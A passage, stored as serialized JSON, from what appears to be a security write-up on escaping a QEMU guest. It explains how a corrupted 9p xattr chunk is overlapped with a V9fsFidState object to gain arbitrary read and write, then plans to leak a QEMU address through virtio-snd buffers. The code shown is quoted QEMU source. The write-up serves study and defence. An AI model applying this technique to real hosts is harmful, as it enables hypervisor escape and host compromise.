"tag":153,"props":132030,"children":132031},{"style":160},[132032],{"type":26,"value":355},{"type":21,"tag":153,"props":132034,"children":132035},{"style":192},[132036],{"type":26,"value":41843},{"type":21,"tag":153,"props":132038,"children":132039},{"style":198},[132040],{"type":26,"value":255},{"type":21,"tag":153,"props":132042,"children":132043},{"style":181},[132044],{"type":26,"value":126470},{"type":21,"tag":153,"props":132046,"children":132047},{"style":160},[132048],{"type":26,"value":130828},{"type":21,"tag":153,"props":132050,"children":132051},{"class":155,"line":3239},[132052],{"type":21,"tag":153,"props":132053,"children":132054},{"emptyLinePlaceholder":16},[132055],{"type":26,"value":759},{"type":21,"tag":153,"props":132057,"children":132058},{"class":155,"line":3253},[132059],{"type":21,"tag":153,"props":132060,"children":132061},{"style":160},[132062],{"type":26,"value":107098},{"type":21,"tag":22,"props":132064,"children":132065},{},[132066,132068,132074,132076,132081,132082,132087,132089,132094,132096,132102,132103,132109,132111,132116,132117,132122],{"type":26,"value":132067},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":21,"tag":78,"props":132069,"children":132071},{"className":132070},[],[132072],{"type":26,"value":132073},"V9fsFidState",{"type":26,"value":132075}," object. In other words, if we can place a ",{"type":21,"tag":78,"props":132077,"children":132079},{"className":132078},[],[132080],{"type":26,"value":132073},{"type":26,"value":10050},{"type":21,"tag":78,"props":132083,"children":132085},{"className":132084},[],[132086],{"type":26,"value":131642},{"type":26,"value":132088}," currently sits, the overlapping ",{"type":21,"tag":78,"props":132090,"children":132092},{"className":132091},[],[132093],{"type":26,"value":131650},{"type":26,"value":132095}," chunk can overwrite ",{"type":21,"tag":78,"props":132097,"children":132099},{"className":132098},[],[132100],{"type":26,"value":132101},"V9fsFidState.fs.xattr.value",{"type":26,"value":52},{"type":21,"tag":78,"props":132104,"children":132106},{"className":132105},[],[132107],{"type":26,"value":132108},"V9fsFidState.fs.xattr.len",{"type":26,"value":132110},". That would immediately give us arbitrary read and write through ",{"type":21,"tag":78,"props":132112,"children":132114},{"className":132113},[],[132115],{"type":26,"value":130904},{"type":26,"value":52},{"type":21,"tag":78,"props":132118,"children":132120},{"className":132119},[],[132121],{"type":26,"value":130896},{"type":26,"value":355},{"type":21,"tag":22,"props":132124,"children":132125},{},[132126,132128,132133,132134,132139,132141,132146,132148,132154,132156,132161,132163,132168,132170,132175,132177,132182,132184,132189],{"type":26,"value":132127},"At this point, ",{"type":21,"tag":78,"props":132129,"children":132131},{"className":132130},[],[132132],{"type":26,"value":131642},{"type":26,"value":18141},{"type":21,"tag":78,"props":132135,"children":132137},{"className":132136},[],[132138],{"type":26,"value":130111},{"type":26,"value":132140}," chunk, while ",{"type":21,"tag":78,"props":132142,"children":132144},{"className":132143},[],[132145],{"type":26,"value":132073},{"type":26,"value":132147}," falls into the ",{"type":21,"tag":78,"props":132149,"children":132151},{"className":132150},[],[132152],{"type":26,"value":132153},"0x120",{"type":26,"value":132155}," size class. Before freeing ",{"type":21,"tag":78,"props":132157,"children":132159},{"className":132158},[],[132160],{"type":26,"value":131642},{"type":26,"value":132162},", we therefore use the oversized ",{"type":21,"tag":78,"props":132164,"children":132166},{"className":132165},[],[132167],{"type":26,"value":131650},{"type":26,"value":132169}," chunk to change its size to match ",{"type":21,"tag":78,"props":132171,"children":132173},{"className":132172},[],[132174],{"type":26,"value":132073},{"type":26,"value":132176},". Once ",{"type":21,"tag":78,"props":132178,"children":132180},{"className":132179},[],[132181],{"type":26,"value":131642},{"type":26,"value":132183}," is freed, it is inserted into the ",{"type":21,"tag":78,"props":132185,"children":132187},{"className":132186},[],[132188],{"type":26,"value":132153},{"type":26,"value":132190}," tcache bin.",{"type":21,"tag":143,"props":132192,"children":132194},{"code":132193},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[132195],{"type":21,"tag":78,"props":132196,"children":132197},{"__ignoreMap":7},[132198],{"type":26,"value":132193},{"type":21,"tag":22,"props":132200,"children":132201},{},[132202,132204,132209,132211,132217,132219,132225,132227,132232],{"type":26,"value":132203},"After that, we can simply allocate a new ",{"type":21,"tag":78,"props":132205,"children":132207},{"className":132206},[],[132208],{"type":26,"value":132073},{"type":26,"value":132210}," with a ",{"type":21,"tag":78,"props":132212,"children":132214},{"className":132213},[],[132215],{"type":26,"value":132216},"P9_TWALK",{"type":26,"value":132218}," request and a fresh FID - this reaches ",{"type":21,"tag":78,"props":132220,"children":132222},{"className":132221},[],[132223],{"type":26,"value":132224},"alloc_fid",{"type":26,"value":132226},", which allocates a new ",{"type":21,"tag":78,"props":132228,"children":132230},{"className":132229},[],[132231],{"type":26,"value":132073},{"type":26,"value":201},{"type":21,"tag":143,"props":132234,"children":132236},{"code":132235,"language":5896,"meta":7,"className":19212,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[132237],{"type":21,"tag":78,"props":132238,"children":132239},{"__ignoreMap":7},[132240,132280,132287,132303,132331,132338,132345,132352,132373,132380,132395,132417,132441,132462,132473,132480,132518,132560,132567,132574,132581,132588,132595,132646,132653,132668,132675,132723,132735,132743,132772,132787,132794,132823,132830],{"type":21,"tag":153,"props":132241,"children":132242},{"class":155,"line":156},[132243,132247,132251,132255,132260,132264,132268,132272,132276],{"type":21,"tag":153,"props":132244,"children":132245},{"style":170},[132246],{"type":26,"value":53335},{"type":21,"tag":153,"props":132248,"children":132249},{"style":170},[132250],{"type":26,"value":53340},{"type":21,"tag":153,"props":132252,"children":132253},{"style":160},[132254],{"type":26,"value":130241},{"type":21,"tag":153,"props":132256,"children":132257},{"style":181},[132258],{"type":26,"value":132259},"v9fs_walk",{"type":21,"tag":153,"props":132261,"children":132262},{"style":160},[132263],{"type":26,"value":189},{"type":21,"tag":153,"props":132265,"children":132266},{"style":170},[132267],{"type":26,"value":53918},{"type":21,"tag":153,"props":132269,"children":132270},{"style":198},[132271],{"type":26,"value":5080},{"type":21,"tag":153,"props":132273,"children":132274},{"style":192},[132275],{"type":26,"value":130263},{"type":21,"tag":153,"props":132277,"children":132278},{"style":160},[132279],{"type":26,"value":5909},{"type":21,"tag":153,"props":132281,"children":132282},{"class":155,"line":166},[132283],{"type":21,"tag":153,"props":132284,"children":132285},{"style":160},[132286],{"type":26,"value":13601},{"type":21,"tag":153,"props":132288,"children":132289},{"class":155,"line":225},[132290,132294,132298],{"type":21,"tag":153,"props":132291,"children":132292},{"style":160},[132293],{"type":26,"value":130388},{"type":21,"tag":153,"props":132295,"children":132296},{"style":198},[132297],{"type":26,"value":313},{"type":21,"tag":153,"props":132299,"children":132300},{"style":160},[132301],{"type":26,"value":132302},"fidp;\n",{"type":21,"tag":153,"props":132304,"children":132305},{"class":155,"line":239},[132306,132310,132314,132319,132323,132327],{"type":21,"tag":153,"props":132307,"children":132308},{"style":160},[132309],{"type":26,"value":130388},{"type":21,"tag":153,"props":132311,"children":132312},{"style":198},[132313],{"type":26,"value":313},{"type":21,"tag":153,"props":132315,"children":132316},{"style":160},[132317],{"type":26,"value":132318},"newfidp ",{"type":21,"tag":153,"props":132320,"children":132321},{"style":198},[132322],{"type":26,"value":2367},{"type":21,"tag":153,"props":132324,"children":132325},{"style":170},[132326],{"type":26,"value":130067},{"type":21,"tag":153,"props":132328,"children":132329},{"style":160},[132330],{"type":26,"value":1759},{"type":21,"tag":153,"props":132332,"children":132333},{"class":155,"line":382},[132334],{"type":21,"tag":153,"props":132335,"children":132336},{"emptyLinePlaceholder":16},[132337],{"type":26,"value":759},{"type":21,"tag":153,"props":132339,"children":132340},{"class":155,"line":501},[132341],{"type":21,"tag":153,"props":132342,"children":132343},{"style":160},[132344],{"type":26,"value":107098},{"type":21,"tag":153,"props":132346,"children":132347},{"class":155,"line":533},[132348],{"type":21,"tag":153,"props":132349,"children":132350},{"emptyLinePlaceholder":16},[132351],{"type":26,"value":759},{"type":21,"tag":153,"props":132353,"children":132354},{"class":155,"line":542},[132355,132359,132364,132368],{"type":21,"tag":153,"props":132356,"children":132357},{"style":1751},[132358],{"type":26,"value":2434},{"type":21,"tag":153,"props":132360,"children":132361},{"style":160},[132362],{"type":26,"value":132363}," (fid ",{"type":21,"tag":153,"props":132365,"children":132366},{"style":198},[132367],{"type":26,"value":1694},{"type":21,"tag":153,"props":132369,"children":132370},{"style":160},[132371],{"type":26,"value":132372}," newfid) {\n",{"type":21,"tag":153,"props":132374,"children":132375},{"class":155,"line":762},[132376],{"type":21,"tag":153,"props":132377,"children":132378},{"style":160},[132379],{"type":26,"value":126336},{"type":21,"tag":153,"props":132381,"children":132382},{"class":155,"line":776},[132383,132387,132391],{"type":21,"tag":153,"props":132384,"children":132385},{"style":160},[132386],{"type":26,"value":18476},{"type":21,"tag":153,"props":132388,"children":132389},{"style":1751},[132390],{"type":26,"value":2717},{"type":21,"tag":153,"props":132392,"children":132393},{"style":160},[132394],{"type":26,"value":236},{"type":21,"tag":153,"props":132396,"children":132397},{"class":155,"line":795},[132398,132403,132407,132412],{"type":21,"tag":153,"props":132399,"children":132400},{"style":160},[132401],{"type":26,"value":132402},"        newfidp ",{"type":21,"tag":153,"props":132404,"children":132405},{"style":198},[132406],{"type":26,"value":2367},{"type":21,"tag":153,"props":132408,"children":132409},{"style":181},[132410],{"type":26,"value":132411}," alloc_fid",{"type":21,"tag":153,"props":132413,"children":132414},{"style":160},[132415],{"type":26,"value":132416},"(s, newfid);\n",{"type":21,"tag":153,"props":132418,"children":132419},{"class":155,"line":808},[132420,132424,132429,132433,132437],{"type":21,"tag":153,"props":132421,"children":132422},{"style":1751},[132423],{"type":26,"value":2607},{"type":21,"tag":153,"props":132425,"children":132426},{"style":160},[132427],{"type":26,"value":132428}," (newfidp ",{"type":21,"tag":153,"props":132430,"children":132431},{"style":198},[132432],{"type":26,"value":1694},{"type":21,"tag":153,"props":132434,"children":132435},{"style":170},[132436],{"type":26,"value":130067},{"type":21,"tag":153,"props":132438,"children":132439},{"style":160},[132440],{"type":26,"value":2659},{"type":21,"tag":153,"props":132442,"children":132443},{"class":155,"line":820},[132444,132449,132453,132457],{"type":21,"tag":153,"props":132445,"children":132446},{"style":160},[132447],{"type":26,"value":132448},"            err ",{"type":21,"tag":153,"props":132450,"children":132451},{"style":198},[132452],{"type":26,"value":2367},{"type":21,"tag":153,"props":132454,"children":132455},{"style":198},[132456],{"type":26,"value":53546},{"type":21,"tag":153,"props":132458,"children":132459},{"style":160},[132460],{"type":26,"value":132461},"EINVAL;\n",{"type":21,"tag":153,"props":132463,"children":132464},{"class":155,"line":842},[132465,132469],{"type":21,"tag":153,"props":132466,"children":132467},{"style":1751},[132468],{"type":26,"value":62842},{"type":21,"tag":153,"props":132470,"children":132471},{"style":160},[132472],{"type":26,"value":62847},{"type":21,"tag":153,"props":132474,"children":132475},{"class":155,"line":3204},[132476],{"type":21,"tag":153,"props":132477,"children":132478},{"style":160},[132479],{"type":26,"value":2765},{"type":21,"tag":153,"props":132481,"children":132482},{"class":155,"line":3230},[132483,132488,132492,132497,132501,132506,132510,132514],{"type":21,"tag":153,"props":132484,"children":132485},{"style":192},[132486],{"type":26,"value":132487},"        newfidp",{"type":21,"tag":153,"props":132489,"children":132490},{"style":160},[132491],{"type":26,"value":2953},{"type":21,"tag":153,"props":132493,"children":132494},{"style":192},[132495],{"type":26,"value":132496},"uid",{"type":21,"tag":153,"props":132498,"children":132499},{"style":198},[132500],{"type":26,"value":255},{"type":21,"tag":153,"props":132502,"children":132503},{"style":192},[132504],{"type":26,"value":132505}," fidp",{"type":21,"tag":153,"props":132507,"children":132508},{"style":160},[132509],{"type":26,"value":2953},{"type":21,"tag":153,"props":132511,"children":132512},{"style":192},[132513],{"type":26,"value":132496},{"type":21,"tag":153,"props":132515,"children":132516},{"style":160},[132517],{"type":26,"value":1759},{"type":21,"tag":153,"props":132519,"children":132520},{"class":155,"line":3239},[132521,132526,132530,132534,132539,132543,132547,132551,132555],{"type":21,"tag":153,"props":132522,"children":132523},{"style":181},[132524],{"type":26,"value":132525},"        v9fs_path_copy",{"type":21,"tag":153,"props":132527,"children":132528},{"style":160},[132529],{"type":26,"value":189},{"type":21,"tag":153,"props":132531,"children":132532},{"style":198},[132533],{"type":26,"value":1974},{"type":21,"tag":153,"props":132535,"children":132536},{"style":192},[132537],{"type":26,"value":132538},"newfidp",{"type":21,"tag":153,"props":132540,"children":132541},{"style":160},[132542],{"type":26,"value":2953},{"type":21,"tag":153,"props":132544,"children":132545},{"style":192},[132546],{"type":26,"value":114621},{"type":21,"tag":153,"props":132548,"children":132549},{"style":160},[132550],{"type":26,"value":1670},{"type":21,"tag":153,"props":132552,"children":132553},{"style":198},[132554],{"type":26,"value":1974},{"type":21,"tag":153,"props":132556,"children":132557},{"style":160},[132558],{"type":26,"value":132559},"path);\n",{"type":21,"tag":153,"props":132561,"children":132562},{"class":155,"line":3253},[132563],{"type":21,"tag":153,"props":132564,"children":132565},{"style":160},[132566],{"type":26,"value":539},{"type":21,"tag":153,"props":132568,"children":132569},{"class":155,"line":3301},[132570],{"type":21,"tag":153,"props":132571,"children":132572},{"emptyLinePlaceholder":16},[132573],{"type":26,"value":759},{"type":21,"tag":153,"props":132575,"children":132576},{"class":155,"line":3346},[132577],{"type":21,"tag":153,"props":132578,"children":132579},{"style":160},[132580],{"type":26,"value":107098},{"type":21,"tag":153,"props":132582,"children":132583},{"class":155,"line":3355},[132584],{"type":21,"tag":153,"props":132585,"children":132586},{"style":160},[132587],{"type":26,"value":548},{"type":21,"tag":153,"props":132589,"children":132590},{"class":155,"line":3364},[132591],{"type":21,"tag":153,"props":132592,"children":132593},{"emptyLinePlaceholder":16},[132594],{"type":26,"value":759},{"type":21,"tag":153,"props":132596,"children":132597},{"class":155,"line":3376},[132598,132602,132607,132611,132615,132620,132624,132628,132632,132637,132642],{"type":21,"tag":153,"props":132599,"children":132600},{"style":170},[132601],{"type":26,"value":53335},{"type":21,"tag":153,"props":132603,"children":132604},{"style":160},[132605],{"type":26,"value":132606}," V9fsFidState ",{"type":21,"tag":153,"props":132608,"children":132609},{"style":198},[132610],{"type":26,"value":313},{"type":21,"tag":153,"props":132612,"children":132613},{"style":181},[132614],{"type":26,"value":132224},{"type":21,"tag":153,"props":132616,"children":132617},{"style":160},[132618],{"type":26,"value":132619},"(V9fsState ",{"type":21,"tag":153,"props":132621,"children":132622},{"style":198},[132623],{"type":26,"value":313},{"type":21,"tag":153,"props":132625,"children":132626},{"style":192},[132627],{"type":26,"value":13372},{"type":21,"tag":153,"props":132629,"children":132630},{"style":160},[132631],{"type":26,"value":1670},{"type":21,"tag":153,"props":132633,"children":132634},{"style":170},[132635],{"type":26,"value":132636},"int32_t",{"type":21,"tag":153,"props":132638,"children":132639},{"style":192},[132640],{"type":26,"value":132641}," fid",{"type":21,"tag":153,"props":132643,"children":132644},{"style":160},[132645],{"type":26,"value":5909},{"type":21,"tag":153,"props":132647,"children":132648},{"class":155,"line":3393},[132649],{"type":21,"tag":153,"props":132650,"children":132651},{"style":160},[132652],{"type":26,"value":13601},{"type":21,"tag":153,"props":132654,"children":132655},{"class":155,"line":3405},[132656,132660,132664],{"type":21,"tag":153,"props":132657,"children":132658},{"style":160},[132659],{"type":26,"value":130388},{"type":21,"tag":153,"props":132661,"children":132662},{"style":198},[132663],{"type":26,"value":313},{"type":21,"tag":153,"props":132665,"children":132666},{"style":160},[132667],{"type":26,"value":53456},{"type":21,"tag":153,"props":132669,"children":132670},{"class":155,"line":3427},[132671],{"type":21,"tag":153,"props":132672,"children":132673},{"emptyLinePlaceholder":16},[132674],{"type":26,"value":759},{"type":21,"tag":153,"props":132676,"children":132677},{"class":155,"line":3448},[132678,132683,132687,132692,132696,132700,132704,132709,132713,132718],{"type":21,"tag":153,"props":132679,"children":132680},{"style":160},[132681],{"type":26,"value":132682},"    f ",{"type":21,"tag":153,"props":132684,"children":132685},{"style":198},[132686],{"type":26,"value":2367},{"type":21,"tag":153,"props":132688,"children":132689},{"style":181},[132690],{"type":26,"value":132691}," g_hash_table_lookup",{"type":21,"tag":153,"props":132693,"children":132694},{"style":160},[132695],{"type":26,"value":189},{"type":21,"tag":153,"props":132697,"children":132698},{"style":192},[132699],{"type":26,"value":13372},{"type":21,"tag":153,"props":132701,"children":132702},{"style":160},[132703],{"type":26,"value":2953},{"type":21,"tag":153,"props":132705,"children":132706},{"style":192},[132707],{"type":26,"value":132708},"fids",{"type":21,"tag":153,"props":132710,"children":132711},{"style":160},[132712],{"type":26,"value":1670},{"type":21,"tag":153,"props":132714,"children":132715},{"style":181},[132716],{"type":26,"value":132717},"GINT_TO_POINTER",{"type":21,"tag":153,"props":132719,"children":132720},{"style":160},[132721],{"type":26,"value":132722},"(fid));\n",{"type":21,"tag":153,"props":132724,"children":132725},{"class":155,"line":3456},[132726,132730],{"type":21,"tag":153,"props":132727,"children":132728},{"style":1751},[132729],{"type":26,"value":2434},{"type":21,"tag":153,"props":132731,"children":132732},{"style":160},[132733],{"type":26,"value":132734}," (f) {\n",{"type":21,"tag":153,"props":132736,"children":132737},{"class":155,"line":3493},[132738],{"type":21,"tag":153,"props":132739,"children":132740},{"style":3050},[132741],{"type":26,"value":132742},"        /* If fid is already there return NULL */\n",{"type":21,"tag":153,"props":132744,"children":132745},{"class":155,"line":3509},[132746,132751,132755,132759,132763,132768],{"type":21,"tag":153,"props":132747,"children":132748},{"style":181},[132749],{"type":26,"value":132750},"        BUG_ON",{"type":21,"tag":153,"props":132752,"children":132753},{"style":160},[132754],{"type":26,"value":189},{"type":21,"tag":153,"props":132756,"children":132757},{"style":192},[132758],{"type":26,"value":35778},{"type":21,"tag":153,"props":132760,"children":132761},{"style":160},[132762],{"type":26,"value":2953},{"type":21,"tag":153,"props":132764,"children":132765},{"style":192},[132766],{"type":26,"value":132767},"clunked",{"type":21,"tag":153,"props":132769,"children":132770},{"style":160},[132771],{"type":26,"value":530},{"type":21,"tag":153,"props":132773,"children":132774},{"class":155,"line":3517},[132775,132779,132783],{"type":21,"tag":153,"props":132776,"children":132777},{"style":1751},[132778],{"type":26,"value":18441},{"type":21,"tag":153,"props":132780,"children":132781},{"style":170},[132782],{"type":26,"value":130067},{"type":21,"tag":153,"props":132784,"children":132785},{"style":160},[132786],{"type":26,"value":1759},{"type":21,"tag":153,"props":132788,"children":132789},{"class":155,"line":3526},[132790],{"type":21,"tag":153,"props":132791,"children":132792},{"style":160},[132793],{"type":26,"value":539},{"type":21,"tag":153,"props":132795,"children":132796},{"class":155,"line":3607},[132797,132801,132805,132810,132815,132819],{"type":21,"tag":153,"props":132798,"children":132799},{"style":160},[132800],{"type":26,"value":132682},{"type":21,"tag":153,"props":132802,"children":132803},{"style":198},[132804],{"type":26,"value":2367},{"type":21,"tag":153,"props":132806,"children":132807},{"style":181},[132808],{"type":26,"value":132809}," g_new0",{"type":21,"tag":153,"props":132811,"children":132812},{"style":160},[132813],{"type":26,"value":132814},"(V9fsFidState, ",{"type":21,"tag":153,"props":132816,"children":132817},{"style":300},[132818],{"type":26,"value":3033},{"type":21,"tag":153,"props":132820,"children":132821},{"style":160},[132822],{"type":26,"value":530},{"type":21,"tag":153,"props":132824,"children":132825},{"class":155,"line":3615},[132826],{"type":21,"tag":153,"props":132827,"children":132828},{"emptyLinePlaceholder":16},[132829],{"type":26,"value":759},{"type":21,"tag":153,"props":132831,"children":132832},{"class":155,"line":3629},[132833],{"type":21,"tag":153,"props":132834,"children":132835},{"style":160},[132836],{"type":26,"value":107098},{"type":21,"tag":22,"props":132838,"children":132839},{},[132840,132842,132847],{"type":26,"value":132841},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":21,"tag":78,"props":132843,"children":132845},{"className":132844},[],[132846],{"type":26,"value":131642},{"type":26,"value":130979},{"type":21,"tag":143,"props":132849,"children":132851},{"code":132850},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[132852],{"type":21,"tag":78,"props":132853,"children":132854},{"__ignoreMap":7},[132855],{"type":26,"value":132850},{"type":21,"tag":21591,"props":132857,"children":132859},{"id":132858},"leaking-a-qemu-address",[132860],{"type":26,"value":132861},"Leaking a QEMU Address",{"type":21,"tag":22,"props":132863,"children":132864},{},[132865],{"type":26,"value":132866},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":21,"tag":22,"props":132868,"children":132869},{},[132870,132872,132877],{"type":26,"value":132871},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":21,"tag":78,"props":132873,"children":132875},{"className":132874},[],[132876],{"type":26,"value":126062},{"type":26,"value":201},{"type":21,"tag":143,"props":132879,"children":132881},{"code":132880,"language":5896,"meta":7,"className":19212,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[132882],{"type":21,"tag":78,"props":132883,"children":132884},{"__ignoreMap":7},[132885,132928,132935,132966,132981,132996,133008,133021,133028,133035,133042,133053,133068,133075,133103,133122,133133,133140,133148,133185,133206,133218,133231,133244,133270,133282,133289,133327,133334,133341,133348,133379,133434,133446,133487,133510,133539,133566,133593,133625],{"type":21,"tag":153,"props":132886,"children":132887},{"class":155,"line":156},[132888,132892,132896,132900,132904,132908,132912,132916,132920,132924],{"type":21,"tag":153,"props":132889,"children":132890},{"style":170},[132891],{"type":26,"value":53335},{"type":21,"tag":153,"props":132893,"children":132894},{"style":170},[132895],{"type":26,"value":53340},{"type":21,"tag":153,"props":132897,"children":132898},{"style":181},[132899],{"type":26,"value":126141},{"type":21,"tag":153,"props":132901,"children":132902},{"style":160},[132903],{"type":26,"value":126146},{"type":21,"tag":153,"props":132905,"children":132906},{"style":198},[132907],{"type":26,"value":313},{"type":21,"tag":153,"props":132909,"children":132910},{"style":192},[132911],{"type":26,"value":126155},{"type":21,"tag":153,"props":132913,"children":132914},{"style":160},[132915],{"type":26,"value":126160},{"type":21,"tag":153,"props":132917,"children":132918},{"style":198},[132919],{"type":26,"value":313},{"type":21,"tag":153,"props":132921,"children":132922},{"style":192},[132923],{"type":26,"value":126169},{"type":21,"tag":153,"props":132925,"children":132926},{"style":160},[132927],{"type":26,"value":5909},{"type":21,"tag":153,"props":132929,"children":132930},{"class":155,"line":166},[132931],{"type":21,"tag":153,"props":132932,"children":132933},{"style":160},[132934],{"type":26,"value":13601},{"type":21,"tag":153,"props":132936,"children":132937},{"class":155,"line":225},[132938,132943,132947,132952,132956,132961],{"type":21,"tag":153,"props":132939,"children":132940},{"style":160},[132941],{"type":26,"value":132942},"    VirtIOSound ",{"type":21,"tag":153,"props":132944,"children":132945},{"style":198},[132946],{"type":26,"value":313},{"type":21,"tag":153,"props":132948,"children":132949},{"style":160},[132950],{"type":26,"value":132951},"vsnd ",{"type":21,"tag":153,"props":132953,"children":132954},{"style":198},[132955],{"type":26,"value":2367},{"type":21,"tag":153,"props":132957,"children":132958},{"style":181},[132959],{"type":26,"value":132960}," VIRTIO_SND",{"type":21,"tag":153,"props":132962,"children":132963},{"style":160},[132964],{"type":26,"value":132965},"(vdev);\n",{"type":21,"tag":153,"props":132967,"children":132968},{"class":155,"line":239},[132969,132973,132977],{"type":21,"tag":153,"props":132970,"children":132971},{"style":160},[132972],{"type":26,"value":127159},{"type":21,"tag":153,"props":132974,"children":132975},{"style":198},[132976],{"type":26,"value":313},{"type":21,"tag":153,"props":132978,"children":132979},{"style":160},[132980],{"type":26,"value":127168},{"type":21,"tag":153,"props":132982,"children":132983},{"class":155,"line":382},[132984,132988,132992],{"type":21,"tag":153,"props":132985,"children":132986},{"style":160},[132987],{"type":26,"value":126188},{"type":21,"tag":153,"props":132989,"children":132990},{"style":198},[132991],{"type":26,"value":313},{"type":21,"tag":153,"props":132993,"children":132994},{"style":160},[132995],{"type":26,"value":126197},{"type":21,"tag":153,"props":132997,"children":132998},{"class":155,"line":501},[132999,133003],{"type":21,"tag":153,"props":133000,"children":133001},{"style":170},[133002],{"type":26,"value":19262},{"type":21,"tag":153,"props":133004,"children":133005},{"style":160},[133006],{"type":26,"value":133007}," msg_sz, size;\n",{"type":21,"tag":153,"props":133009,"children":133010},{"class":155,"line":533},[133011,133016],{"type":21,"tag":153,"props":133012,"children":133013},{"style":170},[133014],{"type":26,"value":133015},"    uint32_t",{"type":21,"tag":153,"props":133017,"children":133018},{"style":160},[133019],{"type":26,"value":133020}," stream_id;\n",{"type":21,"tag":153,"props":133022,"children":133023},{"class":155,"line":542},[133024],{"type":21,"tag":153,"props":133025,"children":133026},{"emptyLinePlaceholder":16},[133027],{"type":26,"value":759},{"type":21,"tag":153,"props":133029,"children":133030},{"class":155,"line":762},[133031],{"type":21,"tag":153,"props":133032,"children":133033},{"style":160},[133034],{"type":26,"value":107098},{"type":21,"tag":153,"props":133036,"children":133037},{"class":155,"line":776},[133038],{"type":21,"tag":153,"props":133039,"children":133040},{"emptyLinePlaceholder":16},[133041],{"type":26,"value":759},{"type":21,"tag":153,"props":133043,"children":133044},{"class":155,"line":795},[133045,133049],{"type":21,"tag":153,"props":133046,"children":133047},{"style":1751},[133048],{"type":26,"value":5784},{"type":21,"tag":153,"props":133050,"children":133051},{"style":160},[133052],{"type":26,"value":126223},{"type":21,"tag":153,"props":133054,"children":133055},{"class":155,"line":808},[133056,133060,133064],{"type":21,"tag":153,"props":133057,"children":133058},{"style":160},[133059],{"type":26,"value":126231},{"type":21,"tag":153,"props":133061,"children":133062},{"style":198},[133063],{"type":26,"value":313},{"type":21,"tag":153,"props":133065,"children":133066},{"style":160},[133067],{"type":26,"value":126240},{"type":21,"tag":153,"props":133069,"children":133070},{"class":155,"line":820},[133071],{"type":21,"tag":153,"props":133072,"children":133073},{"emptyLinePlaceholder":16},[133074],{"type":26,"value":759},{"type":21,"tag":153,"props":133076,"children":133077},{"class":155,"line":842},[133078,133082,133086,133090,133094,133098],{"type":21,"tag":153,"props":133079,"children":133080},{"style":160},[133081],{"type":26,"value":126255},{"type":21,"tag":153,"props":133083,"children":133084},{"style":198},[133085],{"type":26,"value":2367},{"type":21,"tag":153,"props":133087,"children":133088},{"style":181},[133089],{"type":26,"value":126264},{"type":21,"tag":153,"props":133091,"children":133092},{"style":160},[133093],{"type":26,"value":126269},{"type":21,"tag":153,"props":133095,"children":133096},{"style":170},[133097],{"type":26,"value":57619},{"type":21,"tag":153,"props":133099,"children":133100},{"style":160},[133101],{"type":26,"value":133102},"(VirtQueueElement));\n",{"type":21,"tag":153,"props":133104,"children":133105},{"class":155,"line":3204},[133106,133110,133114,133118],{"type":21,"tag":153,"props":133107,"children":133108},{"style":1751},[133109],{"type":26,"value":2607},{"type":21,"tag":153,"props":133111,"children":133112},{"style":160},[133113],{"type":26,"value":5820},{"type":21,"tag":153,"props":133115,"children":133116},{"style":198},[133117],{"type":26,"value":23315},{"type":21,"tag":153,"props":133119,"children":133120},{"style":160},[133121],{"type":26,"value":126303},{"type":21,"tag":153,"props":133123,"children":133124},{"class":155,"line":3230},[133125,133129],{"type":21,"tag":153,"props":133126,"children":133127},{"style":1751},[133128],{"type":26,"value":6047},{"type":21,"tag":153,"props":133130,"children":133131},{"style":160},[133132],{"type":26,"value":1759},{"type":21,"tag":153,"props":133134,"children":133135},{"class":155,"line":3239},[133136],{"type":21,"tag":153,"props":133137,"children":133138},{"style":160},[133139],{"type":26,"value":2765},{"type":21,"tag":153,"props":133141,"children":133142},{"class":155,"line":3253},[133143],{"type":21,"tag":153,"props":133144,"children":133145},{"style":3050},[133146],{"type":26,"valu